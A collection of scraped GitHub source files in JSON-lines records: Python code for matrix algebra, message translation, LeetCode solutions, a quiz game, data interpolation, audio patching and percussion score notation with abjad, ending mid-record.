self.no_of_columns\r\n\r\n\r\n def column_vectors(self):\r\n return [\r\n [self.matrix[column][row] for column in range(self.no_of_rows)]\r\n for row in range(self.no_of_columns)\r\n ]\r\n\r\n\r\n def identity(self):\r\n return [\r\n [0 if row != column else 1 for column in range(self.no_of_columns)]\r\n for row in range(self.no_of_rows)\r\n ]\r\n\r\n def is_invertible(self):\r\n return bool(self.determinant())\r\n\r\n\r\n # Determinant of a matrix by LU decomposition method\r\n def determinant_by_lu_decomposition(self):\r\n\r\n if not self.is_square_matrix():\r\n return none\r\n\r\n up_tri_mat = self.upper_triangular_matrix()\r\n product_of_diag_elmnts = 1\r\n for i in range(self.no_of_rows):\r\n product_of_diag_elmnts *= up_tri_mat[i][i]\r\n\r\n return product_of_diag_elmnts \r\n\r\n\r\n def swap_rows(self, op_matrix, swap_row1, swap_row2):\r\n op_matrix[swap_row1], op_matrix[swap_row2] = op_matrix[swap_row2], op_matrix[swap_row1]\r\n\r\n #Multiplying the swapped row with -1\r\n for i in range(self.no_of_rows):\r\n op_matrix[swap_row2][i] *= -1\r\n return op_matrix\r\n\r\n\r\n def upper_triangular_matrix(self):\r\n if self.is_square_matrix():\r\n op_matrix_up = [self.matrix[row] for row in range(self.no_of_rows)]\r\n\r\n n = len(op_matrix_up)\r\n for k in range(n-1):\r\n for i in range(k+1, n):\r\n\r\n # Checking op_matrix[k][k]=0 to prevent zerodivision error \r\n # and swapping rows with a non-zero element in the same column\r\n if op_matrix_up[k][k] == 0:\r\n for m in range(k, n):\r\n if op_matrix_up[m][k] != 0:\r\n op_matrix_up = self.swap_rows(op_matrix_up, m, k)\r\n break;\r\n\r\n #Skipping if op_matrix[i][k] = 0 \r\n if op_matrix_up[i][k] == 0:continue;\r\n\r\n factor = op_matrix_up[i][k]/op_matrix_up[k][k]\r\n for j in range(k, n):\r\n op_matrix_up[i][j] = op_matrix_up[i][j] - factor * op_matrix_up[k][j] \r\n return op_matrix_up\r\n\r\n\r\n\r\n def inverse_of_a_matrix(self):\r\n if self.is_square_matrix():\r\n op_matrix = [self.matrix[row] for row in range(self.no_of_rows)]\r\n identity_matrix = self.identity()\r\n\r\n n = len(op_matrix)\r\n for k in range(n):\r\n if op_matrix[k][k] == 0:\r\n for m in range(k+1, n):\r\n if op_matrix[m][k] != 0:\r\n op_matrix[m], op_matrix[k] = op_matrix[k], op_matrix[m]\r\n identity_matrix[m], identity_matrix[k] = identity_matrix[k], identity_matrix[m]\r\n break;\r\n pivot = op_matrix[k][k]\r\n for s in range(k, n):\r\n op_matrix[k][s] = op_matrix[k][s] / pivot\r\n for t in range(n): \r\n identity_matrix[k][t] = identity_matrix[k][t] / pivot\r\n\r\n for i in range(n):\r\n if op_matrix[i][k] == 0: continue;\r\n if i == k: continue;\r\n factor = op_matrix[i][k]\r\n for j in range(n):\r\n op_matrix[i][j] = op_matrix[i][j] - factor * op_matrix[k][j]\r\n identity_matrix[i][j] = identity_matrix[i][j] - factor * identity_matrix[k][j]\r\n return identity_matrix\r\n\r\n\r\n \r\n def transpose_of_a_matrix(self):\r\n return [[self.matrix[j][i] for j in range(self.no_of_rows)]\r\n for i in range(self.no_of_columns)\r\n ]\r\n\r\n\r\n\r\ndef ddot_product(vector1, vector2):\r\n if len(vector1) == len(vector2):\r\n return sum(\r\n vector1[i] * vector2[i]\r\n for i in range(len(vector1))\r\n )\r\n\r\n\r\n# multiplying A with B ---> AB\r\ndef matrix_multiplication(A, B):\r\n if len(A[0]) == len(B):\r\n m = Matrix(B)\r\n colVectorsOfB = m.column_vectors() \r\n\r\n return [[ddot_product(A[i], colVectorsOfB[j]) for j in range(len(B[0]))]\r\n for i in range(len(A))\r\n ]\r\n\r\n\r\n\r\n\r\n# m = Matrix([[1,2,2,1],[1,2,4,2],[2,7,5,2],[-1,4,-6,3]])\r\n# print(m.inverse_of_a_matrix())\r\n\r\n# print(matrix_multiplication([[1,0,0,1], [0,1,0,1]], [[1,0], [0,1], [0,0], [1,1]]))\r\n","repo_name":"NaanPradeep/PythonAlgorithm","sub_path":"Linear Algebra/Matrixv3.py","file_name":"Matrixv3.py","file_ext":"py","file_size_in_byte":5595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"26226433064","text":"import logging\nimport os\nimport re\n\nimport deepl\nfrom deep_translator import GoogleTranslator\nfrom deepl import QuotaExceededException\nfrom orjson import orjson\nfrom pysbd import Segmenter\n\nfrom config import PLACEHOLDER\nfrom data.lang import GERMAN\nfrom twitter import TWEET_LENGTH\nfrom util.helper import sanitize_text\nfrom util.regex import FLAG_EMOJI, HASHTAG\n\ntranslator = deepl.Translator(os.environ['DEEPL'])\n\n\ndef flag_to_hashtag(text: str, language: str = None):\n if not HASHTAG.search(text):\n\n flag_emojis = re.findall(FLAG_EMOJI, text)\n\n print(\"flag:::::::::::::: \", flag_emojis)\n\n if len(flag_emojis) == 0:\n return f\"\\n{text}\"\n\n text += \"\\n\\n\"\n\n for fe in list(set(flag_emojis)):\n # todo: filter if valid flag?\n text += f\"#{get_hashtag(fe, language)} \"\n\n logging.info(\"--- Translated Text ---\")\n logging.info(text)\n return text\n\n\nasync def translate_message(target_lang: str, text: str, target_lang_deepl: str = None) -> str | None:\n if text == \"\" or text is None:\n return None\n\n translated_text = await translate(target_lang, text, target_lang_deepl)\n\n return flag_to_hashtag(translated_text, target_lang)\n\n\n# could be replaced by using multiple txt-files for the different languages\ndef get_hashtag(key: str, language: str = None) -> str:\n logging.info(\"--- hashtag ---\")\n if language is None:\n language = GERMAN.lang_key\n\n try:\n filename = f\"res/countries/{key}.json\"\n logging.info(filename)\n\n with open(filename, 'rb') as f:\n # todo: find a way to open this file up just once when iterating through langs\n return orjson.loads(f.read())[language]\n except Exception as e:\n logging.error(f\"Error when trying to get hashtag --- {e}\")\n pass\n\n\nasync def translate(target_lang: str, text: str, target_lang_deepl: str = None) -> str:\n logging.info(\"---------------------------- text ----------------------------\")\n logging.info(text)\n\n sub_text = sanitize_text(text)\n emojis = re.findall(FLAG_EMOJI, sub_text)\n text_to_translate = re.sub(FLAG_EMOJI, PLACEHOLDER, sub_text)\n\n if target_lang == \"fa\": # or \"ru\"?\n # text.replace: if bot was down and footer got added manually\n\n # I'm uncertain, whether replacing emojis for Right-to-left languages like Persian butchers the order\n translated_text = GoogleTranslator(source='de', target=target_lang).translate(text=text_to_translate)\n try:\n translated_text = GoogleTranslator(source='de', target=target_lang).translate(\n text=text_to_translate) # translator.translate_text(text_to_translate,\n # target_lang=target_lang_deepl if target_lang_deepl is not None else target_lang,\n # tag_handling=\"html\",\n # preserve_formatting=True).text\n\n except QuotaExceededException:\n logging.warning(\"--- Quota exceeded ---\")\n translated_text = GoogleTranslator(source='de', target=target_lang).translate(text=text_to_translate)\n pass\n except Exception as e:\n logging.error(f\"--- other error translating --- {e}\")\n\n translated_text = GoogleTranslator(source='de', target=target_lang).translate(text=text_to_translate)\n pass\n\n for emoji in emojis:\n translated_text = re.sub(PLACEHOLDER, emoji, translated_text, 1)\n\n logging.info(f\"translated text ----------------- {text, emojis, sub_text, text_to_translate, translated_text}\" )\n return translated_text\n\ndef segment_text(text:str)->str:\n segmenter = Segmenter(language='de', clean=False)\n\n tx =\"\"\n for s in segmenter.segment(text):\n if len(f\"{tx} {s}\")< TWEET_LENGTH-20:\n tx+=f\" {s.lstrip()}\"\n\n logging.info(f\"----- tx {tx} -----\")\n\n return tx","repo_name":"PXNX/ptb-mn","sub_path":"util/translation.py","file_name":"translation.py","file_ext":"py","file_size_in_byte":3793,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"39"} +{"seq_id":"74418656754","text":"class Solution(object):\n def uniquePaths(self, m, n):\n \"\"\"\n :type m: int\n :type n: int\n :rtype: int\n \"\"\"\n \"\"\"DP Solution O(m+n) time\"\"\"\n\n uniqueRoots = {}\n # Fill the right column with 1's as each only has one unique path\n for i in range(m,0,-1):\n uniqueRoots[(i,n)] = 1\n \n # Fill the bottom column with 1's as each only has one unique path\n for i in range(n,0,-1):\n uniqueRoots[(m,i)] = 1\n \n # Fill every other square using the sum of the unique paths of the squares to its left and right\n for x in range(m-1,0,-1):\n for y in range(n-1,0,-1):\n uniqueRoots[(x,y)] = uniqueRoots[(x+1,y)] + uniqueRoots[(x,y+1)]\n \n return uniqueRoots[(1,1)]\n\n\n \n \n \n \n \"\"\"\n Recursive solution. Works but times out on larger inputs. O(n^2) time complexity\n \n def uniquePaths(self, m, n):\n \n :type m: int\n :type n: int\n :rtype: int\n \n x = self.recursiveUnique(m,n)\n return x\n \n def recursiveUnique(self, m, n):\n A recursive solution that goes through every unique path\n if m > 1 and n > 1:\n return self.recursiveUnique(m-1, n) + self.recursiveUnique(m, n-1)\n elif n > 1:\n return self.recursiveUnique(m, n-1)\n elif m > 1:\n return self.recursiveUnique(m-1, n)\n else:\n return 1\n \n \"\"\"","repo_name":"calumbruton/Leetcode-Solutions-Python","sub_path":"062. Unique Paths.py","file_name":"062. Unique Paths.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"43427490019","text":"# You are given a large integer represented as an integer array digits, where\n# each digits[i] is the ith digit of the integer. The digits are ordered from\n# most significant to least significant in left-to-right order.\n# The large integer does not contain any leading 0's.\n\nclass Solution(object):\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n\n n = len(digits)\n\n for i in range(n):\n idx = n - 1 - i\n if digits[idx] == 9:\n digits[idx] = 0\n else:\n digits[idx] += 1\n return digits\n return [1] + digits\n","repo_name":"alexsmaldone/LeetCode","sub_path":"math&geo/plus_one.py","file_name":"plus_one.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"43779603044","text":"class Question:\n def __init__(self, question, answera, answerb, answerc, answerd, correct):\n self.__question = question\n self.__answers = [answera, answerb, answerc, answerd]\n self.__correct = correct\n def ask(self):\n aChoices = []\n aChoices.append(self.__question)\n for n in range(0, 4):\n aChoices.append(\" \" + str(n + 1) + \")\" + self.__answers[n])\n return aChoices\n def answer(self):\n return self.__correct\n \nclass QuizGame:\n def __init__(self):\n self.__current = 0\n self.__nCorrect = 0\n self.__questions = [\n Question(\"What color is the sky?\", \"blue\", \"yellow\", \"diamond\",\n \"purple\", 1),\n Question(\"Which planet is third from the sun?\", \"Pluto\", \"Jupiter\", \"Mercury\", \"Earth\", 4)\n ]\n def takeTurn(self, sInput):\n aReturn = []\n if self.__current == 0:\n self.__current = 1\n aReturn.append(\"this is a quiz game\")\n aReturn += self.__questions[0].ask()\n else:\n try:\n if int(sInput) == self.__questions[self.__current - 1].answer():\n aReturn.append(\"correct\")\n self.__nCorrect += 1\n else:\n aReturn.append(\"incorrect\")\n try:\n aReturn += self.__questions[self.__current].ask()\n self.__current += 1\n except:\n aReturn.append(\"Thank-you for playing\")\n aReturn.append(\"You got \" + str(self.__nCorrect) + \" correct.\")\n self.__current = 0\n except:\n aReturn.append(\"please choose a number\")\n return aReturn\n\nif __name__ == '__main__':\n oGame = QuizGame()\n\n while True:\n sInput = input(\"> \")\n aReturn = oGame.takeTurn(sInput)\n for line in aReturn:\n print(line)\n","repo_name":"rhildred/pythonquizbot","sub_path":"QuizGame.py","file_name":"QuizGame.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"39"} +{"seq_id":"14264785304","text":"import pandas as pd\nimport numpy as np\nimport re\nimport sys\n\nfrom os import listdir\nfrom scipy import interpolate\nfrom scipy.interpolate import Rbf\nimport os.path\n\nimport matplotlib.pyplot as plt\n\nfrom matplotlib.patches import Circle\nfrom matplotlib.patches import Rectangle\n\nfrom mpl_plotter_mpl_plotting_methods import MatPlotLibPublicationPlotter as mplPlotter\n\n\"\"\"\nUncertainty of mean estimates\n\"\"\"\ndata_analysis = os.path.dirname(__file__)\ndata_path = os.path.join(data_analysis, 'data')\nimg_path = os.path.join(data_analysis, 'images')\nbin_path = os.path.join(data_path, 'bins')\nuncertainty_path = os.path.join(data_path, 'uncertainty_mean_estimate')\nens_avg_path = os.path.join(data_path, 'velocity_ensemble_averaged')\n\ndef remove_nan():\n un = pd.read_excel(\n os.path.join(uncertainty_path, 'ErrorEst.xlsx'),\n index_col=0)\n un.columns = ['u', 'v', 'w']\n un = un[un['u'] != ' nan']\n un.to_csv(\n os.path.join(uncertainty_path, 'ErrorEst.csv'))\n\n# remove_nan()\n\nun = pd.read_csv(\n os.path.join(uncertainty_path, 'ErrorEst.csv'),\n index_col=0)\n\n\"\"\"\nRBF interpolation\n epsilon = 1\n smooth = 0.03\n\"\"\"\ndef rbf2d(x, y, z, x_new, y_new):\n try:\n \"\"\"\n Optimal values\n x=-10: 500, 0.02\n x=10: 500, 0.02\n y=0: 500, 0.02\n z=0: 500, 0.02\n \"\"\"\n rbf = Rbf(x, y, z, epsilon=500, smooth=0.02)\n except:\n return False\n z_new = rbf(x_new, y_new)\n return z_new\n\ndef poly2(x, y, z, x_new, y_new):\n A = np.array([x*0+1, x, y, x*y, x**2, y**2, x**2*y, y**2*x, y**2*x**2]).T\n B = z\n coeff, r, rank, s = np.linalg.lstsq(A, B, rcond=None)\n a, b, c, d, e, f, g, h, i = coeff\n z_new = a + b*x_new + c*y_new + d*x_new*y_new + e*x_new**2 + f*y_new**2 + g*x_new**2*y_new + h*y_new**2*x_new + i*y_new**2*x_new**2\n return z_new\n\n\"\"\"\n \"\"\"\ndef interpolate_all(fill, plane, version, quirk, filenamestart, var, f):\n if quirk == 'xten' or quirk == 'xminusten':\n array_shape = (30, 30)\n k_top = 15\n else:\n array_shape = (30, 40)\n k_top = 20\n u_mosaic = np.empty(array_shape)\n v_mosaic = np.empty(array_shape)\n w_mosaic = np.empty(array_shape)\n i = 0\n for k in range(-k_top, k_top+1):\n for l in range(-15, 16):\n if quirk == 'xten' or quirk == 'xminusten':\n file = '{}{}_{}_{}.xlsx'.format(quirk, var, k, l)\n if quirk == 'yzero':\n file = '{}{}_{}_{}.xlsx'.format(quirk, k, var, l)\n if quirk == 'zzero':\n file = '{}{}_{}_{}.xlsx'.format(quirk, k, l, var)\n\n if os.path.isfile(os.path.join(bin_path, '{}_wo_outliers\\{}'.format(\n plane, file))):\n\n df = pd.read_excel(os.path.join(bin_path, '{}_wo_outliers\\{}'.format(\n plane, file)))\n df.columns = ['x', 'y', 'z', 'u', 'v', 'w']\n x = df['x']\n y = df['y']\n z = df['z']\n u = df['u']\n v = df['v']\n w = df['w']\n\n # Interpolation setup\n loc_x, loc_y, loc_z = re.findall(r\"-?\\d+\", file)\n loc_x = 10 * int(loc_x)\n loc_y = 10 * int(loc_y)\n loc_z = 10 * int(loc_z) # In mm\n\n xx = loc_x+5\n yy = loc_y+5\n zz = loc_z+5\n if quirk == 'xten' or quirk == 'xminusten':\n x1 = y\n x2 = z\n x_new = yy\n y_new = zz\n if quirk == 'yzero':\n x1 = x\n x2 = z\n x_new = xx\n y_new = zz\n if quirk == 'zzero':\n x1 = x\n x2 = y\n x_new = xx\n y_new = yy\n\n # Uncertainty of mean estimates\n index = file[filenamestart:-5] + \"'\"\n\n \"\"\"\n Average u\n \"\"\"\n if un.loc[index][0] > 0.01:\n # Interpolation\n uu = f(x=x1, y=x2, z=u, x_new=x_new, y_new=y_new)\n\n if uu is False:\n print('{}: u interpolation not converged'.format(file))\n uu = fill\n else:\n uu = uu.item()\n\n else:\n uu = fill\n\n \"\"\"\n Average v\n \"\"\"\n if un.loc[index][1] > 0.01:\n # Interpolation\n vv = f(x=x1, y=x2, z=v, x_new=x_new, y_new=y_new)\n\n if vv is False:\n print('{}: u interpolation not converged'.format(file))\n vv = fill\n else:\n vv = vv.item()\n\n else:\n vv = fill\n\n \"\"\"\n Average w\n \"\"\"\n if un.loc[index][2] > 0.01:\n # Interpolation\n ww = f(x=x1, y=x2, z=w, x_new=x_new, y_new=y_new)\n\n if ww is False:\n print('{}: u interpolation not converged'.format(file))\n ww = fill\n else:\n ww = ww.item()\n else:\n ww = fill\n\n else:\n uu = fill\n vv = fill\n ww = fill\n\n if k < k_top and l < 15:\n u_mosaic[l+15][k+k_top] = uu\n v_mosaic[l+15][k+k_top] = vv\n w_mosaic[l+15][k+k_top] = ww\n\n print(i)\n i = i + 1\n\n names = ['u', 'v', 'w']\n msics = [u_mosaic, v_mosaic, w_mosaic]\n for comp in range(3):\n np.savetxt(os.path.join(ens_avg_path, r'{}\\{}_{}.txt'.format(plane, names[comp], version)), msics[comp])\n\n return u_mosaic, v_mosaic, w_mosaic\n\ndef find_real_extremes(mosaic):\n df = pd.DataFrame(mosaic)\n df = df.loc[:, (df != 0).any(axis=0)]\n min = df.min().min()\n max = df.max().max()\n return max, min\n\n\"\"\"\nEnsemble averaging plot setup\n\"\"\"\n\nfill = 0\nplane = 'x=-10'\nversions = ['rbf', 'polynomial']\nversion = versions[0]\nunified_color = True\nshrink = 0.69\ncbtit_y = -5\nsurface = False\nsave = False\n\nif version == 'rbf':\n f = rbf2d\nif version == 'polynomial':\n f = poly2\n\nif plane == 'z=0':\n quirk = 'zzero'\nif plane == 'y=0':\n quirk = 'yzero'\nif plane == 'x=10':\n quirk = 'xten'\nif plane == 'x=-10':\n quirk = 'xminusten'\n\nfilenamestart = len(quirk)\n\ntry:\n u_mosaic = np.loadtxt(os.path.join(ens_avg_path, '{}\\{}_{}.txt'.format(plane, 'u', version)))\n v_mosaic = np.loadtxt(os.path.join(ens_avg_path, '{}\\{}_{}.txt'.format(plane, 'v', version)))\n w_mosaic = np.loadtxt(os.path.join(ens_avg_path, '{}\\{}_{}.txt'.format(plane, 'w', version)))\nexcept:\n u_mosaic, v_mosaic, w_mosaic = interpolate_all(fill=fill, plane=plane, version=version, quirk=quirk, filenamestart=filenamestart, var=re.findall(r'-?\\d+', plane)[0], f=f)\n\n\n# ----------------------------------------------------------------------------------------------------------------------\n# ----------------------------------------------------------------------------------------------------------------------\n# ---------------------------------------END OF ENSEMBLE AVERAGING------------------------------------------------------\n# ----------------------------------------------------------------------------------------------------------------------\n# ----------------------------------------------------------------------------------------------------------------------\n\n","repo_name":"ocarpentier/Data_Analysis","sub_path":"4. ensemble_averaging.py","file_name":"4. ensemble_averaging.py","file_ext":"py","file_size_in_byte":7776,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"40969978022","text":"# Time Complexity- O(N).\n# Space Complexity - O(1)\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def detectCycle(self, head: ListNode) -> ListNode:\n fast,slow=head,head\n if fast==None or fast.next==None:\n return\n c=0\n while(fast and fast.next):\n slow=slow.next\n fast=fast.next.next\n if slow==fast:\n fast=head\n while fast!=slow:\n fast=fast.next\n slow=slow.next\n return fast\n return None\n ","repo_name":"BeerBytesIN/batch-nov-20","sub_path":"parnamondal/Week - 5/Day - 2/Linked List Cycle II.py","file_name":"Linked List Cycle II.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"37440622874","text":"import tensorflow as tf\n\nfrom garage.tf.models import Model\n\n\nclass SimpleCNNModelWithMaxPooling(Model):\n \"\"\"Simple CNNModel with max pooling for testing.\"\"\"\n\n def __init__(self,\n num_filters,\n filter_dims,\n strides,\n padding,\n pool_strides,\n pool_shapes,\n name=None,\n *args,\n **kwargs):\n super().__init__(name)\n self.num_filters = num_filters\n self.filter_dims = filter_dims\n self.strides = strides\n self.padding = padding\n self.pool_strides = pool_strides\n self.pool_shapes = pool_shapes\n\n def _build(self, obs_input, name=None):\n current_size = obs_input.get_shape().as_list()[1]\n for filter_dim, stride in zip(self.filter_dims, self.strides):\n if self.padding == 'SAME':\n padded = int(filter_dim / 2) * 2\n current_size = int(\n (current_size - filter_dim + padded) / stride) + 1\n else:\n current_size = int((current_size - filter_dim) / stride) + 1\n new_size = current_size - self.pool_shapes[0]\n current_size = int(new_size / self.pool_strides[0]) + 1\n flatten_shape = current_size * current_size * self.num_filters[-1]\n return_var = tf.compat.v1.get_variable(\n 'return_var', (), initializer=tf.constant_initializer(0.5))\n return tf.fill((tf.shape(obs_input)[0], flatten_shape), return_var)\n","repo_name":"mushi333/2021-FIT4003-SBSE-for-self-driving-cars","sub_path":"third_party/garage/tests/fixtures/models/simple_cnn_model_with_max_pooling.py","file_name":"simple_cnn_model_with_max_pooling.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"7414406926","text":"import pyaudio\nimport pylibpd\nfrom pylibpd import *\n\n\nclass Patch:\n def __init__(self, path, channels=1, sample_rate=44800, \n has_input=True, has_output=True, \n ticks_per_bar=6, block_size=pylibpd.libpd_blocksize()):\n self.path = path\n self.channels = channels\n self.sample_rate = sample_rate\n self.has_input = has_input\n self.has_output = has_output\n self.ticks_per_bar = ticks_per_bar\n self.block_size = block_size\n \n def open(self, path=None):\n if not path:\n path = self.path\n\n audio = pyaudio.PyAudio()\n\n stream = audio.open(\n format = pyaudio.paInt16,\n channels = self.channels,\n rate = self.sample_rate,\n input = self.has_input,\n output = self.has_output,\n frames_per_buffer = self.block_size * self.ticks_per_bar)\n\n mgr = pylibpd.PdManager(inChannels=self.channels, outChannels=self.channels, \n sampleRate=self.sample_rate, ticks=1)\n\n pylibpd.libpd_open_patch(path)\n\n while True:\n try:\n data = stream.read(self.block_size)\n output = mgr.process(data)\n stream.write(bytes(output))\n except KeyboardInterrupt:\n break\n stream.close()\n audio.terminate()\n pylibpd.libpd_release()\n print('\\ndone')\n\nif __name__ == '__main__':\n p = Patch('mytest.pd')\n p.open()\n","repo_name":"shakfu/cython-libpd","sub_path":"tests/test_swig_pylibpd/test_pylibpd_pyaudio2.py","file_name":"test_pylibpd_pyaudio2.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"72427582440","text":"import abjad\nimport os\nimport pandas as pd\nimport abjadext.nauert as nauert\nimport numpy as np\n\ntesttemplate = False\n\n\n#### LilyPond general voice, staff, score strucuture\n\n## output dir\noutdir = os.getcwd() + \"/out_dir/\"\n\n#stylesheet include\nincludes = ['ilys/variables.ily','ilys/common_layout.ily']\n\n##voices / staff 1: cymbals + cowbell\nsmallcymbVoice = abjad.Voice(name=\"smallcymb\")\nlargecymbVoice = abjad.Voice(name=\"largecymb\")\ncowVoice = abjad.Voice(name=\"cow\")\n\nabjad.override(smallcymbVoice).Stem.direction = r\"#up\"\nabjad.override(largecymbVoice).Stem.direction = r\"#up\"\nabjad.override(cowVoice).Stem.direction = r\"#down\"\n\nabjad.override(smallcymbVoice).NoteHead.style = r\"#'cross\"\nabjad.override(largecymbVoice).NoteHead.style = r\"#'cross\"\n\ncym_cowStaff = abjad.Staff([largecymbVoice,smallcymbVoice,cowVoice], name=\"cym_cow\", simultaneous=True)\nstring = r\"\"\"\\markup{\\fontsize #-1 { \\sans \\column{ \"large cymbal\" \"small cymbal\" \"cowbell\" }}}\"\"\"\nmarkup = abjad.Markup(string, literal=True)\nabjad.setting(cym_cowStaff).instrumentName = abjad.Markup(markup)\nabjad.override(cym_cowStaff).StaffSymbol.line_count = 3\nabjad.override(cym_cowStaff).StaffSymbol.line_positions = r\"\"\"#'(-4 0 4)\"\"\"\n\n\n\n### some notes to test + Clef\nif testtemplate:\n cowVoice.extend(r\"f4\")\n smallcymbVoice.extend(r\"c'4\")\n largecymbVoice.extend(r\"g'4 g' g' g' g' g' g'\")\n leaves = abjad.select(cym_cowStaff).leaves()\n abjad.attach(abjad.Clef(\"percussion\"), leaves[0])\n\n\n\n##voices / staff 1: conga + bongo\nbongoVoice = abjad.Voice(name=\"bongo\")\ncongaVoice = abjad.Voice(name=\"conga\")\n\nconga_bongoStaff = abjad.Staff(name=\"conga_bongo\")\n\nconga_bongoStaff = abjad.Staff([bongoVoice,congaVoice], name=\"conga_bongo\", simultaneous=True)\nstring = r\"\"\"\\markup{\\fontsize #-1 {\\sans \\column{ \"bongo\" \"conga\" }}}\"\"\"\nmarkup = abjad.Markup(string, literal=True)\nabjad.setting(conga_bongoStaff).instrumentName = abjad.Markup(markup)\nabjad.override(conga_bongoStaff).StaffSymbol.line_count = 2\nabjad.override(conga_bongoStaff).StaffSymbol.line_positions = r\"\"\"#'(-4 4)\"\"\"\n\nabjad.override(bongoVoice).Stem.direction = r\"#up\"\nabjad.override(congaVoice).Stem.direction = r\"#down\"\n\n\n### some notes to test + Clef\nif testtemplate:\n bongoVoice.extend(r\"g'4 g' g' g'\")\n congaVoice.extend(r\"f4 f f f f f f\")\n leaves = abjad.select(conga_bongoStaff).leaves()\n abjad.attach(abjad.Clef(\"percussion\"), leaves[0])\n\n\n##voices / staff 3: Large Tom + Snare\ntomVoice = abjad.Voice(name=\"tom\")\nsnareVoice = abjad.Voice(name=\"snare\")\n\ntom_snareStaff = abjad.Staff([snareVoice,tomVoice], name=\"tom_snare\", simultaneous=True)\nstring = r\"\"\"\\markup{\\fontsize #-1 {\\sans \\column{ \"snare drum\" \"large tom\" }}}\"\"\"\nmarkup = abjad.Markup(string, literal=True)\nabjad.setting(tom_snareStaff).instrumentName = abjad.Markup(markup)\nabjad.override(tom_snareStaff).StaffSymbol.line_count = 2\nabjad.override(tom_snareStaff).StaffSymbol.line_positions = r\"\"\"#'(-4 4)\"\"\"\n\nabjad.override(snareVoice).Stem.direction = r\"#up\"\nabjad.override(tomVoice).Stem.direction = r\"#down\"\n\n### some notes to test + Clef\nif testtemplate:\n snareVoice.extend(r\"g'4 g' g' g'\")\n tomVoice.extend(r\"f4 f f f f f f\")\n leaves = abjad.select(tom_snareStaff).leaves()\n abjad.attach(abjad.Clef(\"percussion\"), leaves[0])\n\n##voices / staff 4: Shaker + Cabassa\nshakerVoice = abjad.Voice(name=\"shaker\")\ncabassaVoice = abjad.Voice(name=\"cabassaV\")\n\nshaker_cabassaStaff = abjad.Staff([cabassaVoice,shakerVoice], name=\"shaker_cabassa\", simultaneous=True)\nstring = r\"\"\"\\markup{\\fontsize #-1 {\\sans \\column{ \"cabassa\" \"metal shaker\" }}}\"\"\"\nmarkup = abjad.Markup(string, literal=True)\nabjad.setting(shaker_cabassaStaff).instrumentName = abjad.Markup(markup)\nabjad.override(shaker_cabassaStaff).StaffSymbol.line_count = 2\nabjad.override(shaker_cabassaStaff).StaffSymbol.line_positions = r\"\"\"#'(-4 4)\"\"\"\n\nabjad.override(cabassaVoice).Stem.direction = r\"#up\"\nabjad.override(shakerVoice).Stem.direction = r\"#down\"\nabjad.override(cabassaVoice).NoteHead.style = r\"#'xcircle\"\nabjad.override(shakerVoice).NoteHead.style = r\"#'xcircle\"\n\n\n### some notes to test + Clef\nif testtemplate:\n cabassaVoice.extend(r\"g'4 g' g' g'\")\n shakerVoice.extend(r\"f4 f f f f f f\")\n leaves = abjad.select(shaker_cabassaStaff).leaves()\n abjad.attach(abjad.Clef(\"percussion\"), leaves[0])\n\n\n### 2: process csv data\ncsvfolder = os.getcwd() + \"/stuff/\"\ncsvfolder\ncsvfile = csvfolder + \"dadosParaNotacao_REVISADO.csv\"\n\ndf = pd.read_csv(csvfile)\n\n#inicializa lista de instrumentos\ninstrList = []\n\n#funções aplicadas às colunas do dataframe para readequar nome dos samples de destino e converter sample a milissegundos\ndef splitstring(instr):\n r\"\"\"\n separar nome da amostra do tipo (trans ou dsr)\n \"\"\"\n instr = instr.split('-')\n instrList.append(instr[0])\n return instr\n\ndef sampleToMs(number,sr=44100):\n r\"\"\"\n converte sample para milissegundo\n \"\"\"\n div = sr/1000\n return number/div\n\n#funções auxiliares\ndef x2dx(ls):\n r\"\"\"\n return points from intervals\n \"\"\"\n size = len(ls)\n out = []\n for i in np.arange(1,size):\n item = ls[i]-ls[i-1]\n out.append(item)\n return out\n\ndef dx2x(ls,init=0):\n r\"\"\"\n return intervals from points\n \"\"\"\n size = len(ls)\n out = [init]\n for i in np.arange(0,size):\n out.append(out[-1]+ls[i])\n return out\n\n# aplica funções às colunas correspondentes do dataframe de origem\ndf['targetSegOnset'] = df['targetSegOnset'].apply(sampleToMs)\ndf['targetSegSize'] = df['targetSegSize'].apply(sampleToMs)\ndf['corpusSegOnset'] = df['corpusSegOnset'].apply(sampleToMs)\ndf['corpusSegSize'] = df['corpusSegSize'].apply(sampleToMs)\ndf['CorpusSoundSeg'] = df['CorpusSoundSeg'].apply(splitstring)\n\n#transforma lista de instrumentos em dicionário (a ser utilizado para guardar dados de notação)\ninstrDict = dict.fromkeys(instrList)\n\n#adiciona campos relacionados à notação para cada instrumento + modo de ataque\n# instrDict['Cowbell'] = {'voice': 'cowVoice', 'note': r\"f\", 'markups': None, 'dyn': None}\n# instrDict['CymbalSmallStrike'] = {'voice': 'smallcymbVoice', 'note': r\"c'\", 'markups': None, 'dyn': None}\n# instrDict['CymbalSmallChoke'] = {'voice': 'smallcymbVoice', 'note': r\"c'\", 'markups': [r\"\"\"\\markup{\\bold \" ,\"}\"\"\"], 'dyn': None}\n# instrDict['CymbalBigStrike'] = {'voice': 'largecymbVoice', 'note': r\"g'\", 'markups': None, 'dyn': None}\n# instrDict['BongoSlap'] = {'voice': 'bongoVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{\\sans \"sl.\"}\"\"\"], 'dyn': None}\n# instrDict['BongoMuff'] = {'voice': 